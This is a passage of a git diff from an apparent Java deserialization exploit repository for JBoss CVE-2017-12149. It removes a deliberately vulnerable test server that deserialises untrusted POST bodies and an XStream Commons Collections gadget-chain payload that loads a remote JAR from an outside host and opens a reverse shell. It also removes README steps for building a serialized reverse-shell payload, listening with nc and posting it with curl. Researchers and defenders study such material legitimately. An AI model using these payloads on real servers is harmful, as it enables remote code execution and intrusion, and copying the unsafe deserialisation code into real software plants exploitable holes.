responseMsg = deserialize(new ByteArrayInputStream(plainText));
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
else if (t.getRequestMethod().equals("POST")){
|
|
||||||
|
|
||||||
InputStream input = t.getRequestBody();
|
|
||||||
// take 2 bytes from header to check if it is a raw object
|
|
||||||
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
|
|
||||||
byte [] header = new byte[2];
|
|
||||||
int len = pbis.read(header);
|
|
||||||
pbis.unread( header, 0, len );
|
|
||||||
StringBuffer headerResult = new StringBuffer();
|
|
||||||
for (byte b: header)
|
|
||||||
headerResult.append(String.format("%02x", b));
|
|
||||||
|
|
||||||
// deserialize raw
|
|
||||||
if (headerResult.toString().equals("aced"))
|
|
||||||
responseMsg = deserialize(pbis); // deserialize RAW
|
|
||||||
else{ // deserialize H4sI, rO0,...
|
|
||||||
// read input into string
|
|
||||||
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
|
|
||||||
BufferedReader br = new BufferedReader(isr);
|
|
||||||
String body = br.readLine();
|
|
||||||
String paramName = "";
|
|
||||||
String object = getObjectValue(body);
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
|
||||||
responseMsg = deserialize(object); // deserialize H4sI, rO0...
|
|
||||||
else if (object.startsWith("<") )
|
|
||||||
responseMsg = deserializeXStream(object); // xtream
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}// end if POST
|
|
||||||
else{
|
|
||||||
|
|
||||||
responseMsg = "<html>" +
|
|
||||||
"\n<title>DeserLab v0.01</title> " +
|
|
||||||
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
|
|
||||||
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
|
|
||||||
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
|
|
||||||
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
|
|
||||||
|
|
||||||
}
|
|
||||||
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
|
|
||||||
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
|
|
||||||
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
|
|
||||||
|
|
||||||
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
|
|
||||||
t.sendResponseHeaders(404, responseMsg.length());
|
|
||||||
else
|
|
||||||
t.sendResponseHeaders(200, responseMsg.length());
|
|
||||||
|
|
||||||
OutputStream os = t.getResponseBody();
|
|
||||||
os.write(responseMsg.getBytes());
|
|
||||||
os.close();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean hasParam(String object){
|
|
||||||
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
|
|
||||||
return true;
|
|
||||||
else
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
public String getParamName(String object){
|
|
||||||
if (hasParam(object))
|
|
||||||
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
|
|
||||||
else
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
public String getObjectValue(String object){
|
|
||||||
if (hasParam(object)) {
|
|
||||||
String paramName = getParamName(object);
|
|
||||||
return object.split(paramName)[1];
|
|
||||||
}
|
|
||||||
else
|
|
||||||
return object;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public String deserialize(String object){
|
|
||||||
|
|
||||||
ObjectInputStream ois = null;
|
|
||||||
InputStream is = null;
|
|
||||||
GZIPInputStream gis = null;
|
|
||||||
|
|
||||||
// if payload is urlencoded
|
|
||||||
if (object.contains("%2B")) {
|
|
||||||
try {
|
|
||||||
object = URLDecoder.decode(object, "UTF-8");
|
|
||||||
} catch (UnsupportedEncodingException e) {
|
|
||||||
return "\nInvalid encoding. You should use URL Encode!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
|
|
||||||
// This another implementation of Base64 is only for java >= 1.8
|
|
||||||
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
|
|
||||||
is = new ByteArrayInputStream(b64DecodedObj);
|
|
||||||
}catch (Exception e){
|
|
||||||
return "\nInvalid Base64!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI")) {
|
|
||||||
try {
|
|
||||||
gis = new GZIPInputStream(is);
|
|
||||||
ois = new ObjectInputStream(gis);
|
|
||||||
} catch (IOException e) {
|
|
||||||
return "\nThe Stream not contains a Java Object!\n";
|
|
||||||
}
|
|
||||||
catch (Exception e) {
|
|
||||||
return "\nInvalid Gzip stream!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
try {
|
|
||||||
ois = new ObjectInputStream(is);
|
|
||||||
}
|
|
||||||
catch (IOException e ){
|
|
||||||
return "\nThe Stream not contains a Java Object!\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Deserialization
|
|
||||||
try{
|
|
||||||
int number = (Integer) ois.readObject();
|
|
||||||
}
|
|
||||||
catch (ClassNotFoundException e) {
|
|
||||||
return "\nSerialized class not found in classpath\n";
|
|
||||||
}
|
|
||||||
catch (IOException e) {
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
catch (ClassCastException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IncompleteAnnotationException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
|
||||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
|
||||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
return "\nData deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String deserialize(InputStream is){
|
|
||||||
|
|
||||||
ObjectInputStream ois = null;
|
|
||||||
|
|
||||||
try{
|
|
||||||
ois = new ObjectInputStream(is);
|
|
||||||
}catch (EOFException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nThe request body not contains a Stream!\n";
|
|
||||||
} catch (Exception e) {
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// This cast simulate what occurs in a real server
|
|
||||||
int number = (Integer) ois.readObject();
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
return "\nSerialized class not found in classpath\n";
|
|
||||||
} catch (ClassCastException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IncompleteAnnotationException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
|
||||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
|
||||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
|
|
||||||
return "\nData deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String deserializeXStream(String xml){
|
|
||||||
|
|
||||||
Class classXStream = null;
|
|
||||||
Class classDomDriver = null;
|
|
||||||
Class classHierarchicalStreamDriver = null;
|
|
||||||
//Class classJsonHierarchicalStreamDriver = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
|
|
||||||
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
|
|
||||||
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
|
|
||||||
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
|
|
||||||
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
|
|
||||||
|
|
||||||
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
|
|
||||||
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
|
|
||||||
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
|
|
||||||
|
|
||||||
Object domDriverInstance = ctrDomDriver.newInstance();
|
|
||||||
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
|
|
||||||
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
|
||||||
|
|
||||||
//Desativado json...
|
|
||||||
//if (xml.startsWith("<"))
|
|
||||||
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
|
||||||
//else
|
|
||||||
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
|
|
||||||
|
|
||||||
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
|
|
||||||
m.invoke(xstreamInstance, xml);
|
|
||||||
|
|
||||||
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
|
|
||||||
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
|
|
||||||
} catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nError deserializing XML...\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
return "\nXML deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] decryptAES(String object, String aesKey){
|
|
||||||
|
|
||||||
byte[] iv = new byte[16];
|
|
||||||
String algorithmName = "AES";
|
|
||||||
|
|
||||||
byte[] cipherText = null;
|
|
||||||
byte[] plainTextWithIV = null;
|
|
||||||
byte[] plainText = null;
|
|
||||||
byte[] key = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// first decode object from base64
|
|
||||||
cipherText = new BASE64Decoder().decodeBuffer(object);
|
|
||||||
// use the same harded code key from apache shino
|
|
||||||
key = new BASE64Decoder().decodeBuffer(aesKey);
|
|
||||||
|
|
||||||
} catch (Exception e) { e.printStackTrace(); return null; }
|
|
||||||
|
|
||||||
try {
|
|
||||||
|
|
||||||
IvParameterSpec ivSpec = new IvParameterSpec(iv);
|
|
||||||
Key keySpec = new SecretKeySpec(key, algorithmName);
|
|
||||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
||||||
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
|
|
||||||
// decrypt ciphertext and put the IV in the header
|
|
||||||
plainTextWithIV = cipher.doFinal(cipherText);
|
|
||||||
// remove the iv from header of plaintext in order to deserialize it later
|
|
||||||
plainText = new byte[plainTextWithIV.length - iv.length];
|
|
||||||
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
|
|
||||||
return plainText;
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
Binary file not shown.
@ -1,67 +0,0 @@
|
|||||||
<!--
|
|
||||||
Payload com gadget chain para carregar e executar uma classe remota
|
|
||||||
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
|
||||||
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
|
||||||
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
|
||||||
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
|
||||||
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
|
||||||
de um LazyMap decorado com a ChainedTransformers.
|
|
||||||
|
|
||||||
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
|
|
||||||
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
|
|
||||||
NAO utilize em sistemas que você não tenha autorização!
|
|
||||||
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* https://github.com/joaomatosf/JavaDeserH2HC
|
|
||||||
* @joaomatosf
|
|
||||||
-->
|
|
||||||
<set>
|
|
||||||
<org.apache.commons.collections.keyvalue.TiedMapEntry>
|
|
||||||
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
|
|
||||||
<unserializable-parents/>
|
|
||||||
<org.apache.commons.collections.map.LazyMap>
|
|
||||||
<default>
|
|
||||||
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
|
|
||||||
<iTransformers>
|
|
||||||
<org.apache.commons.collections.functors.ConstantTransformer>
|
|
||||||
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
|
|
||||||
</org.apache.commons.collections.functors.ConstantTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>[Ljava.net.URL;</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<url-array>
|
|
||||||
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
|
|
||||||
</url-array>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InvokerTransformer>
|
|
||||||
<iMethodName>loadClass</iMethodName>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>java.lang.String</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<string>JexReverse</string>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InvokerTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>java.lang.String</java-class>
|
|
||||||
<java-class>int</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<string>YOUR_BOX_IP</string>
|
|
||||||
<int>PORT_LISTENING</int>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
</iTransformers>
|
|
||||||
</factory>
|
|
||||||
</default>
|
|
||||||
<map/>
|
|
||||||
</org.apache.commons.collections.map.LazyMap>
|
|
||||||
</map>
|
|
||||||
<key class="string">foo</key>
|
|
||||||
</org.apache.commons.collections.keyvalue.TiedMapEntry>
|
|
||||||
</set>
|
|
Binary file not shown.
@ -1,12 +1,7 @@
|
|||||||
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
|
# JbossAS 5.x/6.x反序列化RCE (CVE-2017-12149)
|
||||||
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
|
|
||||||
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
|
|
||||||
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
|
|
||||||
## 漏洞利用
|
## 漏洞利用
|
||||||
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
|
`java -jar jboss_CVE-2017-12149_exp.jar`
|
||||||
|
|
||||||
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
|

|
||||||
|
|
||||||
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
|
|
||||||
|
|
||||||
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`
|
|
||||||
|
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
# jboss-_CVE-2017-12149
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串,只需要执行命令:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ java -jar verify_CVE-2017-12149.jar http://xxx:8080
|
||||||
|
|
||||||
|
#成功返回:
|
||||||
|
vuln6581362514513155613jboss
|
||||||
|
```
|
||||||
|
|
||||||
|

|
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 24 KiB |
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user